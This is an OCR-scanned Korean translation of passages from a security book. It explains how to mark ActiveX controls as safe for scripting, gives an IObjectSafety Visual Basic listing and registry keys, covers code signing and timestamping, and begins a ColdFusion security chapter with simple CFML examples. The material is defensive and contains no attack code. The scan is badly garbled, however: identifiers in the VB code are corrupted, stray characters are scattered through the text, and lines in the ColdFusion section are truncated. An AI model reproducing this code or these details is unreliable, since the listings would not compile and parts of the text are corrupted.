만일 CAB 파일 로 묶으려고 할 때 필 요한것 은 꾸레 미작성 과 배 치 (Package and 
Deployment ) 위자드이다. ActiveX 조종체를 《safe for scrip 仕 ng (스크립트작성을 위해 
안전)》과 《safe for initialization (초기 화를 위 해 안전)》의 들 다 또는 어 느 하나만 
표식 하려 한다면 Packaging and Deployment 위 자드의 안전설정 화면에서 조종체 의 이 
름다음의 내 러펼침 ( drop - down ) 안내 에서 Yes 를 선택하라(그림 9-9). 자기의 조종체를 
안전으로 표식함으로써 사용자들에게 이 조종체가 그들의 체계에 해를 주지 않는다는것 
을 담보한다. 요구되는 안전설정을 한 다음 Next 를 찰칵하면 위자드는 나머지처리를 한 
다. 그러면 CAB 파일 이 설치되고 선택한 보안설정들도 표식될것 이 다. 



그림 9-9. Package and Deployment 위자드 안전설정 화면 


2) IObject Safety 를 리용한 조종제의 표식 

어떤 조종체를 《 safe 》 로 표식하는 두번째 방법은 조종체 내의 IObjectSafety 메쏘드 
을 실행 하는것 이 다. IObjectSafety 는 Microsoft Explorer 4.0 과 그이후의 판본에서 리 
용할수 있는 부분품의 대 면부이다. IObjectSafety 는 Windows 응용프로그람에 대 해 안 
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전을 설정하여 되돌리거나 안전을 설정하는데 리용되는 메쏘드들을 제공한다. 
IObjectSafety 는 간단한 대면부이며 두개의 메쏘드 혹은 성원들만 가진다. 


• Get Interface Safety Options 

• Set Interface Safety Options 


이러한 이름에 대해 잘못 쓰는것은 그다지 많지 않을것이다. Get Interface Safety 
는 그 객체에 대해 현재 설정된 안전 ( safety ) 설정은 물론 객체에 의해 지원되는 안전선 
택항목들을 되돌린다. Setlnterface Safety 는 객체를 《safe for initialization 》 나 
《safe for scripting 》 로 표식 하는 성 원이 다. 

Visual Basic 5와 그 이후의 판본에서 이것을 리용하는 가장 좋은 방법은 그림 9- 
10과 같은 실행문을 리용하는것 이 다. IObject Safety 대면부는 호출하는 응용프로그람 
(포함기객체)이 안전한가 불안전한가를 조종체가 기록할수 있게 한다. IObject Safety 
를 리용하는 중요한 우점은 어떤 정황에서는 안전하게 실행하고 다른 정황에서는 불안전 
하게 수행 하는 단일판본의 조종체를 가질수 있다는것 이 다. 또한 다양한 경우에 적 합하게 
안전방법들을 계획적으로 변화시킬수 있다. 조종체를〈〈안전》으로 표식하는 다른 방법 
들과는 달리 이것은 등록고의 기 입내용에 관계되여 야 하는것 이 아니 다. 보안의 견지 에서 
IObjectSafety 를 리용하는것 이 가장 좋은 리유로 되는것은 다른 사람이 당신을 따라 잡 
아 당신의 조종체를 다시 묶을수 없다는것 이며 그렇지 않으면 거기에 안전이라고 할수 
없 다는것 이 다. 


Option Explicit 
Implements IObjectSafety 

’ IObjectSafety_GetInterfaceSafetyOptions - 

Private Sub IObjectSafety _ GetInterfaceSafetyOptions(ByVal riid _ 

As Long , pdwSupportedOptions As Long , pdwEnabledOptions As Long ) 

Dim Rc As Long 

Dim rClsId As uGUID 

Dim IID As String 

Dim bllDO As Byte 

pdwSupportedOptions = INTERFACESAFE _ FOR _ UNTRUSTED_CALLER Or _ 
INTERFACESAFE _ FOR _ UNTRUSTED_DATA 

’ Set and return supported object safety features . 


If (riid <> 0) Then 
’ Validate pointer to interface id . 
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CopyMemory rClsId , ByVal riid , Len ( rClsId ) 

’ Copy interface guid to struct . 

bllD = String $ ( MAX _ GUIDLEN , 0) 

’ Pre-allocate byte array . 

Rc = StringFromGUID 2 ( rClsId , VarPtr ( bIID (0)), MAX _ GUIDLEN ) 

’ Get clsid from guid struct . 

Rc = InStr ( l , bllD , vbNullChar ) - 1 
’ Look for trailing null chars . 

IID = LeftS ( UCase ( bllD ), Rc ) 

’ Trim extra nulls and convert to upper-case for comparison . 

Select Case IID 

Case IID_IDispatch ’ safety options requested 

pdwEnabledOptions = Ilf ( m _ fSafeForScripting , _ 
INTERFACESAFE _ FOR _ UNTRUSTED _ CALLER , 0) 

Exit Sub 

Case IID _ IPersistStorage , IIDJPersistStream , _ IIDJPersistPropertyBag 
pdwEnabledOptions = Ilf ( m _ fSafeForInitializing , _ 
INTERFACESAFE _ FOR _ UNTRUSTED _ DATA , 0) 

Exit Sub 
Case Else 

Err . Raise E_NOINTERFACE ’ ERROR - Not supported 
Exit Sub 
End Select 
End If 
End Sub 


’ IObjectSafety_SetInterfaceSafetyOptions - 

Private Sub IObjectSafety_SetInterfaceSafetyOptions (ByVal riid _ 

As Long , ByVal dwOptionsSetMask As Long , ByVal dwEnabledOptions As 
Long ) 
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Dim Rc 


As Long 







Dim rClsId As uGUID 

Dim IID As String 

Dim bllDO As Byte 

If (riid <> 0) Then 

’ Validate pointer to interface id . 

CopyMemory rClsId , ByVal riid , Len ( rClsId ) 

’ Copy interface guid to struct . 

bllD = String $ ( MAX _ GUIDLEN , 0) 

’ Pre-allocate byte array . 

Rc = StringFromGUID 2 ( rClsId , VarPtr ( bIID (0)), MAX _ GUIDLEN ) 

’ Get clsid from guid struct . 

Rc = InStr ( l , bllD , vbNullChar ) - 1 
’ Look for trailing null char . s . 

IID = LeftS ( UCase ( bllD ), Rc ) 

’ Trim extra nulls and convert to upper-case for comparison . 

Select Case IID 
Case IIDJDispatch 

If ((dwEnabledOptions And dwOptionsSetMask ) <> _ 
INTERFACESAFE _ FOR _ UNTRUSTED _ CALLER ) Then 

Err.Raise E_FAIL ’ error ： not supported . 

Exit Sub 
End If 

If Not m_f Saf eF or Scripting Then Err . Raise E—FAIL 
’ Is this object safe for scripting ? 

Exit Sub 

Case IID _ IPersistStorage , IIDJPersistStream , _ IIDJPersistPropertyBag 
If ((dwEnabledOptions And dwOptionsSetMask ) <> _ 
INTERFACESAFE _ FOR _ UNTRUSTED _ DATA ) Then 

Err.Raise E_FAIL ’ error ： not supported . 

Exit Sub 
End If 
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If Not m_fSafeForInitializing Then Err . Raise E_FAIL 
’ Is this object safe for initializing ? 

Exit Sub 
Case Else 

’ Unknown interface requested . 

Err.Raise E_NOINTERFACE ’ error ： not supported . 
Exit Sub 
End Select 
End If 
End Sub 


’ FunctionSafeToScript - 

Public Function FunctionSafeToScript () As Boolean 
FunctionSafeToScript = True 
End Function 


’ FunctionNOTSafeToScript - 

Public Function FunctionNOTSafeToScript () As Boolean 
FunctionNOTSafeToScript = True 
End Function 


그림 9-10. Visual Basic IobjectSafety 실행문 


3) Windows 등록고에서 조종제의 표식 

조종체 를《 안전》으로 표식하기 위하여 취 급하려 는 마지 막 방법 은 Windows 등 
록고를 리용하는것 이 다. 이 절 에서 처 음에 조종체 를 《 안전》으로 표식하기 위한 방 
법 이 두가지 라고 하였 지 만 실 제 로는 첫번째 방법 의 확장인 3번째 방법 을 취 급하려 고 
한 다 . 조종 체 를 《 안전》으 로 표식 하기 위 한 과제 를 수 행 하는 Packaging and 
Deployment 위 자드에 의 한 방법 은 Windows 등록고에 기 입된 조종체들을 수정 하는 
것 이 다. 이것은 좀 비용이 든다. 우선 이 방법으로 조종체 가 표식할 때 매번 등록고 
를 찾아 보고 초기 화하여 야 한다. 이것은 시 간이 걸리는데 Web 내 용을 공개할 때 시 
간은 중요한 인자로 된다. 이 방법의 안전표시의 두번째 문제는 중간이 없다는것이다. 
즉 조종체는 안전하지 않으면 불안전하다. 당신은 안전에 관한 등록고의 내용에 따라 
조종체를 안전하게도 쓰고 불안전하게도 쓸수 있게 할수 없다. 당신은 두가지 판본들 
을 꾸레미로 묶어야 한다. 즉 하나는 안전한것이고(모든 조건하에서) 다른 하나는 그 
렇지 못한것이다. 
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만일 당신이 regedit.exe 을 열기를 기다릴수 없고 Windows 등록고를 리용할수 없’ r 
다면 정확히 무엇이 필요한가를 보여 주기로 한다. 당신이 하여야 할 일은,ᄂ^^< 
Implemented Categories 등록부에 서 마음에 드는 ActiveX 조종체 의 Class ID 에 대 하여 
다음의 등록고 열쇠들을 제공하는것이다(그림 9-11). 


그림 9-11. Windows 등록고편집기 


• 《 safe for scripting 》로 조종체 를 표식 하기 위 해 서 는 7DD95801-9882-11CF- 
9FA9-00AA006C42C4 를 열쇠로 리용하면 된다. 

•《safe for initialization from persisten data》 로 조종체 를 표식 하기 위 해서 는,_ 
7DD95802-9882-11CF-9FA9-00AA006C42C4 를 열쇠로 리용하시오. 

여기 에 대 한것은 이것 이 전부이 다. 조종체 에 안전표식 이 된 다음에는 그것을 실행할** 1 
때 당신의 승인을 받을 필요가 더는 없다. 여기에 주의하시오. 


결 론 


지금까지 본과와 같이 ActiveX 조종체들을 배포하는것과 관련한 보안문제가 여 러가卞 7 
지이다. 그것들은 모두 Microsoft 의 보안방법과 관련하여 제기되는것이다. 사용자들에 '' 
게 동등한 자격과 호출을 주는 ActiveX 조종체 를 제 공함으로써 Microsoft 는 류동가능한/ 1 
코드를 구상할수 있는 강력 한 도구를 자유롭게 쓸수 있게 하였 다. 그러 나 이 강력한 도' 1 
구에 대하여 책 임문제가 제기되며 그 책 임은 거의 개발자들이 지게 된다. 여기서의 책임ᅴ 
이 란 자기가 작성하는 조종체의 자격을 결정하는것이다. 누구나 자기 조종체를 안전으로ᄀ ^ 
정 확하지 못하게 표시하여 오유가 있는 판본을 배포하는것과 같은 일반적 인 과오를 범 하 *■ 
지 않게 노력하여 야 한다. 

개발자는 ActiveX 를 안전하게 할 때 책임이 크지만 체계관리자와 사용자들도 누구너 ᄅ 
나 할것없이 자기 망과 개 인용콤퓨터를 보호하기 위한 자기들의 몫을 수행하여야 한다. >1 














f ' 벼 관리자들은 조작체계 에 의 해 계공되는 모든 도구들을 리용하여 야 하며 일부 류형의 

>. 방화벽들도 고려 하여 야 한다. 관리 자와 사용자들은 또한 Internet Explorer, Outlook, 
/ Outlook Express 내 에 구축된 보안특징들을 호출한다. 그들은 자기들의 설정을 평가하 
니고 갱신된 체계를 유지하여야 한다. 

우리는 또한 조종체들이 더 안전할수 있게끔 해주는 도구들을 잘 알아야 한다. 
를 Microsoft 의 인증코드기술과 관련된 수자서명은 이 러한 과계를 수행하는데 크게 기여한 
다. 자기 조종체 를 작성 할 때 자기 조종체 들을 안전하게 표식 하는 여 러 가지 방법 들과 조 
& 종체가 안전하게 표식되였는가를 결정하는 척도가 무엇인가를 알아야 한다. 이러한 과제 
P 를 수행 하는데는 두가지 방법들이 있는데 그중에서 더 좋은 방법은 IObjectSafety 이 다. 
1 당신의 조종체 가 완전히 안전한 부류에 속하여 host 체 계 에 대 한 위 험 가능성 이 없다면 
등록고설정 도 충분한것 이 다. 그러 나 당신의 조종체 가 일부 비 도덕 적 인 과제 를 수행하는 
데 리용될수 있는 경우에 는 IObjectSafety 를 실행하도록 하는데 기울인 수고가 헛되지 
1 않을것이다. 아무리 ActiveX 가 보안되였다고 하여도 방위선은 하나이라는것을 잊지 말 
_ 아야 한다. 그러므로 가능한껏 철저해야 하며 자기의 조종체에 대한 가능성을 과소평가 
'，빼■錢 하지 말아야 한다. 



요 약 


1. ActiveX 의 리용과 관련한 위험 



- Java 애플레트의 Sandbox 를 리용함으로써 응용프로그람은 파일체계와 다른 응용 
프로그람들과 분리되 여 자기의 보호기억 령 역상에서 실행되 고 있다는것 이 담보한다. 
한편 ActiveX 조종체들은 그것들이 콤퓨터 에 설치된후에는 그것을 실행 하고 있는 
사용자들에게 모두 동등한 권리를 준다. Microsoft 는 조종체를 리용하는 저자는 
한사람이 라는것 , 조종체가 의도하는 싸이트나 페지상에서 목적하는 방법대 로 리용 
되는가 하는것, 특히 싸이트의 소유자나 그외의 누구든지 조종체가 배 치된후에는 
변경시킬수 없다는것을 담보하지 못한다. 조종체가 안전하게 표식되면 다른 응용 
프로그람들과 조종체 들은 당신의 승인 이 없 이 조종체 를 실 행할수 있 다. 

- 조종체들에 공통적인 파괴위험성은 완충기넘침오유와 같이 충분히 검사되지 못한 
오유를 포함하고 있는 판본들을 배포되는것이다. 충분히 검사하는데 시간을 들이 
고 자기의 코드가 변수의 입구값의 유효범위를 검사한다는것을 담보하여 야 한다. 

- 조종체 에 대 한 제 한을 주는 보안지역， SSL 규약들과 같은 선 택 항목들을 리용할수 
있 다. 

- 당신은 체계등록고에 있는 CodeBaseSearchPath 를 호출하는데 이것은 ActiveX 
조종체를 내리적재하려고 할 때 체계가 조종체들을 어데서 찾는가를 조종한다. 

- IEAK 가 있는데 이 것은 ActiveX 조종체 를 정의 하고 동적 으로 관리하는데 리 용할 
수 있다. 


2. 안전한 ActiveX 조종체 를 작성 하는 방법 론 


- 당신의 조종체를 충분히 문서화하여야 한다. 또한 조종체가 과제를 수행하는데 최, 
적인 기능을 가지도록 하면 된다. 

- 당신의 조종체가 다음의것들가운데서 임의의것을 위반하였다면 《safe》 로 표식하, 
지 말아야 한다. 


차， 


' 국부를퓨터 나 사용자에 대 한 정보를 호출하기 
' 국부콤퓨터 나 망상에서 개 인정보를 로출시키기 
| 국부를퓨터 나 망상에 서 정 보들을 수정 하거 나 파괴 하기 
' 조종체에 결함이 있고 열람기가 폭주할 가능성이 있는 경우 
' 시간이 초과되거 나 기 억령 역 같은 자원이 초과되는 경우 
' 실행 파일들을 포함하여 체 계 호출들에 손상을 주면서 실행할수 있는 경우 
| 믿을수 없는 방법 으로 체계를 리 용하여 기대할수 없는 결과를 발생하는것 




- Microsoft ActiveX SDK Kit 는 CAB 파일들을 서 명 하고 검사하는데 필요한 편의 
프로그람묶음이 다 . 기 본부분품는 makecert. exe, cert2spc. exe, signcode. exe 와 
Checktrust. exe 이 다. 이 러 한 도구들은 앞으로 리 용할 Microsoft. NET 프레 임 워 / 
크의 일부이다. 


3. ActiveX 조종체의 보안 


多， 


- 조종체 를 서 명하려 면 CA 로부터 수자코드서명 증명 서 나 ID 를 얻 을 펼요가 있 다. , 
ActiveX 조종체 들을 서 명 하기 위 한 ◦쇼에 는 두가지 즉 VeriSign (www. 
verisign. com) 과 Thawte (www. thawte. com) 이 있 다. 

- 자유시 간확정 (free timestamping) 봉사에 의 하여 VeriSign 은 낡은 코드를 계 속| 
쓰러는 사람들을 도와 줄것 이 다. Verisign 은 Thawte 의 사람들이 그들의 시간확. 
정봉사기를 사용하도록 한다. 

- 조종체를 《safe》 로 표식하는메 는 서 로 다른 두가지 방법 이 있다. 즉 PacKage； 
and Deployment 위 자드로 안전설정 을 하는것 (혹은 Windows 등록고를 리 용)과 
다른 하나는 IObject Safety 대 면부를 실 행하는것 이 다. 

- IObject Safety 를 리용하는 중요한 우점은 어떤 정황에서는 안전하고 다른 정황. 
에서는 불안전하게 실행하는 단일판본의 조종체를 가질수 있다는것이다. 조종체를。 
《safe》 로 표식하는 다른 방법들과는 달리 그것은 등록고의 기입내용에 관계되지 > 
않는다. 


az 


물음과 대답 


이 장의 물음에 대한 대 답은 저자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리 해 하고 실생활을 통하여 체험 하도록 하는데 




도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 
com/solutions 의 《Ask the Anthor) (저자에게 문의)을 찰칵하시오. 


' Syngress. S 
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물음: 조종체를 서명 하려면 수자증명서를 구입하여 야 하는가? 

대답: 자기의 외부사용자들에게 조종체를 배포하려고 하면 선택한 CA 로부터 유효한 
증명서를 구입할 필요가 있다. 그러나 검사하려고 할 때는 검사증명서를 만 
들기 위 해 Makecert.exe 와 Cert2SPC.exe 편의 프로그람을 리 용할수 있 다. 
이러한 편의프로그람들은 ActiveX SDK 에 포함되여 있다. 

물음: 나의 회사는 이미 봉사기증명서를 가지고 있다. 내 가 나의 코드를 서명할 때 
그것을 리 용할수 있는가? 

대답: 아니다. 봉사기증명서로 코드를 서명할수 없다. 봉사기증명서는 코드서명증명 
서 와 다른 기능에 리용된다. 봉사기증명서는 봉사기와 의뢰기사이에 전송되 
는 자료의 보안에 러 용된 다. 코드서 명용증명 서 나 ID 가 바로 당신 이 자기 쏘 
프트에 서명한 때 로부터 그것 이 변경되지 않았다는것을 확인하게 한다. 

물음: 리 용하고 있는 Internet Explorer 의 판본이 문제 로 되 는가? 

대답: 문계로 된다. Microsoft 는 IE 의 판본 3.0 이후의 매 판본들에서는 조종체들을 
서명하는 각이한 도구들을 포함하고 있다. 따라서 자기의 열람기에 대해 정 
확한 판본을 사용하고 있는가를 확인할 필요가 있다. 

물음: IE 3.x 용조종체 를 서 명하는데 새 로운 증명 서 를 리 용할수 있는가? 

대 답: 리용할수 없다. IE3.X 에서 작업하는 인증코드의 판본은 새 로운 증명서를 지 
원하지 않는다. 

물음: 나의 조종체 를 시 간확정하는 우점 은 무엇 인가? 

대 답: 시 간확정 은 증명 서 가 기 한이 지난 다음에 도 자기 의 코드가 유효하도록 한다. 
만일 Verisign 증명서를 리용하고 있다면 이 증명서들은 자유롭게 시간확정봉 
사를 제공해 준다. 이러한 봉사에 의해 당신의 조종체의 시간을 확정할수 있 
고 증명 서 의 기 간이 지난 다음에 도 당신의 코드들을 다시 서 명 하지 않아도 
된다. 당신의 코드의 시간을 확정하여 사용자는 기한이 지난 증명서에 의해 
서명된 코드와 코드서명기간이 유효한 증명서 로 서명된 코드사이의 차이를 
말할수 있을것이다. 

물음: Thwte 증명서를 가지고 나의 코드를 시간확정 받고 싶다. Thawte 증명서가 
시 간확정 봉사를 게 공하는가? 

대답: 아니다. 그러나 Veisign 은 Thawte 증명서를 가진 사람들이 자기의 시간확정 
봉사기를 리용할수 있도록 한다. 봉사기를 호출하려면 지 령선상에 -t 스위치 
를 붙여 http：//timestamp. verisign.com/scripts/timestamp. dll 을 리 용하거 
나 시 간확정 봉사기 에 서 Digital Signature 위 자드에 있는 통에 입 력 시 키 시 오. 

물음: Java 애플레트로 인증코드를 리용할수 있는가? 

대 답: 있다. Java 애 플레 트를 CAB 파일 로 묶으면 Netscape 에 대 해 리용되 는 
ARCHIVE 태그대신 HTML 에서 그것을 참조할수 있다. 

물음: 나의 파일이 서명된 다음 어떻게 나의 서명을 검사할수 있는가? 

대 답: Chktmst.exe 라는 Microsoft 의 ActiveX SDK 편의프로그람을 러용해야 한다.이 
것은 당신이 자기의 코드를 배포하기전에 코드가 유효한가를 증명할것이다. 
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제 10 장. ColdFusion 의 보안 

이 장의 기본체계 
必 ColdFusion 의 동작 
參 ColdFusion 의 보안보장 
관 ColdFusion 응용프로그람처 리 
판 ColdFusion 의 리용과 관련한 위험 
관 매 대 화당 추적의 리 용 
傷 결론 
會 요약 


染 물음과 대 답 



소 개 


ColdFusion 은 알라에 (Allaire) 가 1995년에 배포한 Web 응용프로그람언어 및 봉사기 
(server) 이 다. 이 제품은 그것 이 직관적 인 언어구조로 되 여 있고 사용자들에게 친숙한 
개발환경을 제공하고 있는것으로하여 인기가 계속 올라 가고 있다. ColdFusion 은 one- 
stop Web 응용프로그람 Shopping 과 같다. 즉 Web 응용프로그람과 봉사기는 하나의 조 
로 구성 되 여 야 한다. ColdFusion 은 크게 두 부분 즉 싸이 트를 작성 하는데 리 용되 는 
ColdFusion 작성실과 사용자들에게 페지 봉사를 하는 ColdFusion 봉사기으로 구성 된다. 
ColdFusion 은 자체의 폐 지 작성 언어 인 ColdFusion 작성 언어 (CFML) 를 가지 고 있다. 

자체의 작성언어를 가지 고 있는외 에 ColdFusion 은 수량화 (scalability) 의 우점도 가 
지고 있다. 발전하는 Web 응용프로그람과 함께 ColdFusion 도 계속 발전한다. 이러한 
특징만으로도 이것은 많은 단체들에 판매될수 있다. 

가장 최근의 ColdFusion 판본에서는 확장된 보안을 지원한다. 이러한 확장보안들중 
의 하나가 원격 개 발봉사보안 (Remote Development Services Security) 이 다. 이 특징 
은 개 발자들이 금지 된 지 역 으로부터 의 호출을 접 수할 때 먼저 ColdFusion 작성 실 에 서 
인증을 받은 다음 봉사기자원을 호출하도록 한다는것이다. 더 발전된 사용자보안이 또 
있다. 사용자보안은 개발자들에 의해 ColdFusion 응용프로그람페지들에서 실행된다. 그 
의 특징은 실행시 사용자인증과 권한을 제공해 주는것이다. 이러한 특징들은 이 장에서 
더 상세히 취급한다. 

이 장에 서 는 ColdFusion 에 존재 하는 보안문제 들에 대 하여 취 급한다. ColdFusion 
과 관련한 보안상의 문제들이 이 책에 취급된 다른 주제들에서보다 적지만 아무런 쓸모 
없는 보안구멍 (hole) 들이 존재 한다. 대 화조종추적 (Session Tracking) 은 아마 득 주의 
해 야 할 가장 큰 보안구멍일것 이 다. ColdFusion 과 관련한 보안에 대 해 말하기 전에 이 
ColdFusion 의 초보적인 측면부터 보자. 


제 1 절. ColdFusion 의 동작 


ColdFusion 은 대부분 Web 봉사기에 련결되여 작업 한다. 확장자 《.cfm》 으로 된 
문서 (혹은 다른 확장자로 ColdFusion 에 넘겨 지는 문서)에 대한 요청 이 Web 봉사기에 
들어 오면 Web 봉사기는 그것을 구동기로부터 읽는것이 아니라 그 문서에 대해 
ColdFusion 봉사기 에 《 요구》한다(그림 10-1 의 단계 1，단계 2). 

ColdFusion 봉사기는 그와 관련된 파일들(머리부 (headers), 꼬리부 (footers), 삽입 
(includes) 등)을 따라 가면서 구동기로부터 요구되는 형판 (template) 을 읽게 된다. 즉 
허 위 코드 (Pcode) 라는것 으로 그것 을 번역 (콤파일) 하고 기 억 기 에 상주시 키 며 그 다음 페 
지 결 과를 얻 기 위 하여 그것 을 처 리 한다. 결 과는 자료기 지 에 대 한 정 보，파일，다른 
Web 싸이트나 그외의 어떤것에 대한 정보일수 있는데 봉사는 Web 봉사기로 되돌려져 
Web 봉사기가 그것들을 송신해 준다. 이 과정은 실제 빨리 진행되며 보통 미리초시간으 
로 측정 되 게 된 다. 이 렇 게 속도가 빨라지 는것 은 우에 서 이 야기 한 허 위 코드때 문이 다. 형 
관 (template) 이 다시 요구되면 봉사기는 그것을 디스크로부터 다시 읽는것 이 아니 라 주 
기억상에 콤파일된 코드를 리용한다. 형판이 변화되였을 때에만 형판은 허위코드로 다시 
290 




모든 코드가 형판으로 실현되면 ColdFusion 봉사기준 
Web 봉사기에 전송한다. 그다음 이 문서 가 열 람기 에 전송고 
림 10-1 의 걸음 4부터 6까지). 현재 이것은 간단한 
ColdFusion 5에 서 는 문서 를 열 람기 에 《 엇 갈아 (stagger) 
였다. 이 기능은 그림 10-1 에서 걸음 4부터 6사이에 해당 
까지 순환되여 실행되는것이다. 



그림 10-1. 요청된 폐지의 전송을 


실례로 제일 큰 페지는 매번 20행을 전송해야 한다고 
의 행을 생성하여 그것을 봉사기에 보내고(걸음 4) 다음 그 
6). 그다음 보충적인 요청이 없어도 걸음 3은 같은 HTTI 
복하여 또 20행을 보낼것 이 다. 열람기는 출력된 20행을」 
게 되며 이 처리는 본문이 다 전송될 때까지 반복되게 된 
보충적 으로 강조할것 은 ColdFusion 봉사기 로부터 
HTML MIME 형 태 의 HTML 문서 이 다. 프로그람작성 자는 
발생되여 전송된 다른 형태의 문서들도 가질수 있다. 
WML 문서들은 가장 일반적인것이지만 거의 모든것을 전ᄃ 

1. 개발을 빨리 할수 있는 우점을 리용 

ColdFusion 은 응용프로그람봉사기로 될뿐아니 라 우나 
ColdFusion 을 만들 때 기 정 망언어인 HTML 에 가능한 극 
착상에 중점을 두었다. 그러므로 ColdFusion 은 기본적으 
ColdFusion 이 HTML 과 비슷하고 같은 문법구조를 : 
성 이 좋다. 응용프로그람은 짧은 시 간에 작성할수 있으며 
읽 기 쉽 다. 실례로 자료기지에 질문하고 결과를 출력시키는 









<CFQUERY name= “qGetUsers” DataSource= lasers” > 
Select userif, firstname, lastname 
From users 

</CFQUERY> 


그림 10-2. 자료기지로부터 사용자정보의 선택 


여 기 에서 는 코드가 무엇을 하려 고 하는지 명백하다. 태 그이름은 CFQUERY 이 며 자 
료기 지 에 질 문하려 한다는것 을 의 미한다. 태 그내 부코드는 표준 SQL 이 며 쉽다. 자료의 
출구도 또한 간단하다(그림 10-3). 


<CFOUTPUT Query= “qGetUsers” > 

<A HREF= “user.cfm? icWtuserid#” >#firstname# #lastname#</A><BR> 
</CFOUTPUT> 


그림 10-3. 사용자정보의 출구 


이것은 한번에 한행의 질문결과를 출력시킨다. 자료기지에 5 개의 이름이 있다면 출 
구는 5 개의 행으로 된다. ColdFusion 의 또 다른 특징은 HTML 과 파운드기호(的로 경 
계된 ColdFusion 변수들이 혼합되여 있다는것 이 다. 

다른 한편 같은 결과를 ASP 와 같은 언어로 얻으러면 그림 10-4 와 같이 하면 된다. 


<% 

Set OBJdbConnetion=Server. CreatObject( “ADODB. Connection” ) 
OBJdbConnection.Open “ Users ” 

SQLQuery= “Select userif, firstname, lastname FROM users' 
Set qGetUsers=OBJdbConnection. Execute (SQLQuery) 

Do Until qGetUsers.EOF 

Response. Write( “userid” )& “ ” “〉” qGetUsers( “firstname” )& 

“ ” & qGetUsers( “lastname” ) & “</A><BR>” ) 
qGetUsers. MoveNext 


Loop 

%> 












결과는 같아도 방법은 많이 차이난다. 프로그람작성 에서는 ColdFusion 코드가 더 
매혹적이고 어렵지 않다. 이것은 우선 코드작성속도를 빠르게 한다. 

Microsoft 의 ASP (실제로는 더 늦게 개발되였다.)와 Sun 의 JSP 에서처럼 코드가 커 
지 는것 과 달리 리용하기 쉽 고 리해 하기 쉬 우며 프로그람작성속도가 빠른것 이 
ColdFusion 의 가장 큰 우점 이 다. 

2. ColdFusion 작성언어의 리해 

앞에서 이야기된것처럼 ColdFusion 은 기본적으로 태그들로 구성되였다. 실례로 변 
수의 설정은 그림 10-5 에서 보여 준 코드를 리용한다. 


<CFSET variablename=value> 


그림 10-5. ColdFusion 에서 변수의 설정 


이 것은 이 름을 가진 변수에 값을 설정하는것 이 다. 변수는 수값 혹은 배 렬과 구조체 
와 갈은 복합자료형 도 될 수 있 다. 다른 코드요소들도 이 와 류사한 문법 을 리용한다. IF 
문을 그림 10-6 에 보여 주었다. 


<CFIF variable EQ value〉 
Something 

<CFELSEIF Variable EQ value2> 
Something else 
<CFELSE> 
this is the last case 
</CFIF> 


그림 10-6. ColdFusion 에서 IF 문 


이 코드는 변수를 값과 비교하는 IF 문장을 실행한다. 만일 실패하면 Value2 가 있는 
두번째 문장을 집 행하게 된다. 종당에 는 else 가 리 용되 게 된 다. 

두개의 태그들 (CFSET 와 CFIF) 은 ColdFusion 태그들에 대한 표준문법과 약간 차이 
난다. 따라서 이것들은 따로 보여준다. 다른 모든 태 그들은 다음의 표준법에 따른다. 


• 요구되는 태그이름 (<CFMAIL>) 

• 선택적인이름 = 태그에 자료를 넘기는 값쌍 (subject= “hi” ) 

• 일부 태그들에서만 요구되거나 선택적으로 끝나는 태그들 (<VCFMAIL>) 
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변수의 존재에 대하여 검사하고 거기에 선택적으로 기정값을 주는 CFPARAM 태그 
와 전자우편통보문을 전송하는 CFMAIL 태그에 대한 두개의 실례가 있다(그림 10-7). 


〈CFPARAM Name = “ Address ” Default=mdinowit 通 houseoffusion . com > 
<CFMAIL F rom = serverAlert 8 house ctf fusion , com To = laddress #” 

Subject = “An error has occurred ” 

An error has occurred at 1/11/71 in the C ：\ website \ htdocs directory . 

The file test , cfm does not exist 

</ CFMAIL > 


그림 10-7. 기 정 파라메터를 설정 하고 ColdFusion 으로부터 전자우편전송 


보는것 처 럼 코드는 자기 가 자기 를 설명 ( self - explanatory ) 한다. 우선 페 지 에 대 한 
파라메 터 를 설정 한다. 변수이 름은 address 이 고 값은 전자우편주소이 다. 만일 존재 하지 
않으면 기정값이 리용되게 된다. 즉 기정값에 의해서 이 태그가 무시되게 된다. 그다음 
지적된 주소에로 전자우편통보문이 전송된다. 주소는 파운드기호(的로 둘러 싸이며 그것 
은 변수가 변할수 있고 text 가 아니라는것을 ColdFusion 에 알려 주는것 이 다. 

(玄) Mi _ 

Y 파운드기호는 변수를 자기들의 값으로 변환하는데 리용되며 몇개의 위치에서만 

(출구령역 들로 참조된) 필 요하다. 이 것 들은 CFIF , CFSET 외 의 모든 ColdFusion 태 
그들안에 있 을수 있 고 CFOUTPUT , CFQUERY , CFMAIL 의 본체 (시 작과 마지 막 
태그사이)안에 있을수 있다. 


3. 수량화의 배치 

ColdFusion 은 수량화할수 없다는 평가가 있다. 이것은 잘못된것이다. ColdFusion 
은 자기 싸이트에로의 많은 방문자들을 취급할수 있다. 구축되여 있는 ( Built - in ) 특징은 
관리자가 한번에 한페지씩 보는 사람들의 총수，캐쉬에 있는 정보의 총수를 계산할수 있 
다는것이며 싸이트성능에 대하여서는 또 다른 특징 이 있다. 싸이트가 실제로 부하를 많 
이 받을 때 부하의 균형 을 유지 할수 있 다. ColdFusion 은 Cluster Cats 라는 쏘프트웨 어 
에 기초한 부하균형기를 적재하고 있다. 이외에도 수량화를 위해 다른 쏘프트웨어와 하 
드웨어 기 초의 부하균형 기 가 리 용될수 있 다. 
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4. 개방형통합 

ColdFusion 에서의 중요한 특징중의 하나는 자기 코드에 다른 기술들을 통합할수 
있는것 이 다. ColdFusion 은 Microsoft COM 객체들, CORBA 객체들, Enterprise Java 
Beans , Java servlets 와 다른《제 3 부류》코드를 아주 쉽 게 포함할수 있다. 그외 에 도 
ColdFusion 은 VC ++, Delphi , Java 와 지 어 ColdFusion 언어 그자체의 태 그들을 전용화 
할수 있다. ColdFusion 5에는 사용자정의 함수 ( UDF ) 들을 쓸수 있는 능력도 포함되였다. 
상상력이 좀 있고 숙련된 프로그람작성자들은 요구하는 결과를 달성하는데 ColdFusion 
의 모든 기술들을 리 용할수 있다. 


제 2 절. ColdFusion 의 보안보장 


봉사기로서의 ColdFusion 은 보안구멍 (Security hole ) 이 없다고 되여 있다. 이것은 
아주 강경한 표현으로서 많은 사람들의 비난을 받고 있다. 이 표현이 사실이라 해도 보 
안구멍 이 있을수 있는 ColdFusion 프로그람과 협 조하는 코드는 고려하지 않은것 이 다. 
ColdFusion 코드가 보안을 어떻게 창조하는가에 대해 이야기하기전에 표준방식으로 설 
치 한 ColdFusion 에 존재 하는 보안결함들이 무엇 인가에 대 하여 보자. 

